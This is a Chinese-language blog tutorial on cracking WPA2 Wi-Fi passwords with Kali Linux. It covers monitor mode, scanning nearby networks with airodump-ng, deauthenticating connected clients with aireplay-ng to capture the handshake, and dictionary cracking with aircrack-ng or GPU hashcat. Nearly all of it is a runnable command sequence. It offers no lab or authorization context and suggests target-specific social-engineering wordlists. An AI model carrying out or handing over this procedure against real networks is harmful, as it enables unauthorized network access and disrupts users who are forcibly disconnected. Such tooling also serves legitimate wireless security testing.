kali下破解wifi密码
环境准备
- kali linux
- 支持监控模式的网卡,免安装的最好
- 字典文件(kali自带字典放在/user/share/wordlists/rockyou.txt.gz)
排查影响环境
断开所有网络功能
1
service network-manager stop
关闭airmon
1
airmon-ng check kill
开启网卡监控模式
1 | iwconfig ##查看本地网卡状态 |
开始监听周边wifi
1 | airodump-ng wlan0mon |
上面列出了周围的wifi和它们的详细信息,包括信号强度、加密类型、信道CH等。要记住要破解wifi的频道号和BSSID。按Ctrl-C结束
抓取wifi握手包
1 | airodump-ng wlan0mon --bssid <lymac> -c 5<信道CH> -w wpa2 |
参数解释:
* -c指定频道号 * –bssid指定路由器bssid * -w指定抓取的数据包保存位置及保存名字
攻击连接用户重连
有一个叫aireplay-ng的工具,它可以强制用户断开wifi连接;原理是,给连接到wifi的一个设备发送一个deauth(反认证)包,让那个设备断开wifi,随后它自然会再次连接wifi,新开一个bash输入以下命令,在出现wpa handshake表示抓取握手包成功!1
aireplay-ng -0 2 -a <lymac> -c <yhmac> wlan0mon
参数解释:
* -0表示发起deauthentication攻击 * -a指定无线路由器BSSID * -c指定强制断开的设备
关闭监控模式
1 | airmon-ng stop wlan0mon |
开始破解密码
1 | aircrack-ng -a2 -b <target_mac> -w /usr/share/wordlists/rockyou.txt ~/*.cap |
参数解释:
* -a2代表WPA的握手包 * -b指定要破解的wifi BSSID * -w指定字典文件
补充
如果有GPU设备请用hashcat
1
2aircrack-ng file.cap -J out.hccap #在破解cap文件之前,要把它转换为hccap文件
hashcat -m 2500 out.hccap 字典文件 #使用GPU破解hash如果前期搜集了信息,可以针对性生成社工字典,详情了解如下内容:
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 bb的博客!